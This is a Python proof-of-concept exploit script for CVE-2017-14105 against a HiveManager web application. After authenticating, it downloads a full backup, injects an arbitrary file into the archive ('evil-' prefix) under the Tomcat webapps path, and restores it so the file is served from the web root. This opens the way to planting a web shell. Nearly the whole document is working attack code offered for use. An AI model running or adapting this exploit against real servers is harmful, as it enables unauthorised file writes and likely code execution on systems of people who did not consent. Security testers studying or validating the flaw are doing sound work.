#!/usr/bin/python # author: @theguly # PoC for CVE 2017 14105 import sys,re,json import requests import argparse import time from shutil import copyfile import tarfile from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def itime(): return str(int(time.time()))+'000' parser = argparse.ArgumentParser() parser.add_argument('-d', dest='baseurl', required=True, help='destination url, like https://hivemanager.foo.bar') parser.add_argument('-u', dest='username', required=True, help='username to authenticate with') parser.add_argument('-p', dest='passwd', required=True, help='password') parser.add_argument('-f', dest='addme', required=True, help='file to add') args = parser.parse_args() baseurl = args.baseurl.rstrip('/') s = requests.Session() # auth data={'userName':args.username, 'password':args.passwd} res = s.post(baseurl+'/hm/authenticate.action',data=data,verify=False,allow_redirects=False) try: if not 'topMenu.action?operation=dash' in res.headers['Location']: print "auth failed" sys.exit() except: print "auth failed" sys.exit() # do the backup data= { 'operation':'backupImmediate', '__checkbox_ignore':'true', 'backupScope':'fullBackup', 'backupType':'dump', } res = s.post(baseurl+'/hm/backupDB.action', data=data, verify=False,allow_redirects=False) # check backup status done = False while not done: jres = s.get(baseurl+'/hm/backupDB.action?operation=pollBackupStatus&ignore='+itime(), verify=False,allow_redirects=False).json() print "waiting for backup to complete..." m= re.search(r'The backup file \((.+)_(.+)_(\d+)\.tar\.gz\ ', jres['message']) if m: fname = m.group(1)+'_'+m.group(2)+'_'+m.group(3)+'.tar.gz' tenant = m.group(2) if 'The backup file' in jres['message']: done = True if jres['success']: print 'backup completed: %s' % jres['message'] else: print 'backup not completed: %s' % jres sys.exit() else: time.sleep(3) # download the backup data={'operation':'download'} res = s.post(baseurl+'/hm/backupDB.action', data=data,verify=False) with open(fname, 'wb') as handle: for block in res.iter_content(1024): handle.write(block) # add file to archive ename = 'evil-'+fname copyfile(fname, ename) newtar = tarfile.open(ename, "w|gz") oldtar = tarfile.open(fname,"r") for member in oldtar.getmembers(): newtar.addfile(member, oldtar.extractfile(member.name)) oldtar.close() addmeinfo = newtar.gettarinfo(args.addme,'/HiveManager/tomcat/webapps/hm/domains/'+tenant+"/maps/"+args.addme) # you are not actually limited to maps dir, just as a PoC addmeinfo.name = '/HiveManager/tomcat/webapps/hm/domains/'+tenant+"/maps/"+args.addme addmeinfo.uid = 501 addmeinfo.gid = 501 newtar.addfile(addmeinfo, file(args.addme)) newtar.close() # restore archive jres = s.get(baseurl+'/hm/restoreDB.action?operation=initProgessConfig&restoreFileFileName=C%3A\\fakepath\\'+ename+'&ignore='+itime(),verify=False).json() if not jres['success']: print "failed to restore the backup file: %s" % jres sys.exit() data = {'operation':'restore','id':'','restoreProtocol':1,'ignore':'true', '__checkbox_ignore':'true', '__checkbox_advancedOption':'true', 'restoreOption':'existVHMOption', 'existVHMId': '', 'tabId': 0, 'tableId': 0, 'vhmName':'', 'formChanged':'false'} files = {'restoreFile': (ename, open(ename,'rb'), 'application/x-gzip')} res = s.post(baseurl+'/hm/restoreDB.action',data=data,files=files,verify=False,allow_redirects=False) time.sleep(1) res = s.get(baseurl+'/hm/restoreDB.action',verify=False) time.sleep(1) done=False i=1 while not done: i=i+1 jres = s.get(baseurl+'/hm/restoreDB.action?operation=pollRestoreStatus&ignore='+itime(), verify=False,allow_redirects=False).json() if jres['status'] == 3: print "restore completed: %s" % jres['message'] done=True elif jres['status'] == 2: print "waiting for restore to complete..." time.sleep(1) else: print "unknown status '%s', something went wrong: " % (jres['status'],jres['message']) sys.exit(1) if i > 300: print "restore too slow, please check for any issue" sys.exit(1) print 'your file should be available at: '+baseurl+'/hm/domains/'+tenant+'/maps/'+args.addme